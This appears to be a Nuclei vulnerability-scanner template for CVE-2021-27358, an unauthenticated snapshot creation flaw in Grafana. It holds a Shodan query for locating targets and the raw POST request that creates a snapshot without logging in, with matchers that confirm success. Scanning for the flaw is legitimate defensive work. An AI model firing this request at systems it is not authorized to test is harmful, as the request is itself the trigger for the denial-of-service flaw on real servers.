50 lines
1.6 KiB
YAML
50 lines
1.6 KiB
YAML
id: CVE-2021-27358
|
|
|
|
info:
|
|
name: Grafana Unauthenticated Snapshot Creation
|
|
author: pdteam,bing0o
|
|
severity: high
|
|
description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
|
|
reference:
|
|
- https://phabricator.wikimedia.org/T274736
|
|
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
|
|
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
|
|
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-27358
|
|
cwe-id: CWE-306
|
|
epss-score: 0.02345
|
|
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: title:"Grafana"
|
|
vendor: grafana
|
|
product: grafana
|
|
tags: cve,cve2021,grafana,unauth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/snapshots HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"deleteUrl":'
|
|
- '"deleteKey":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|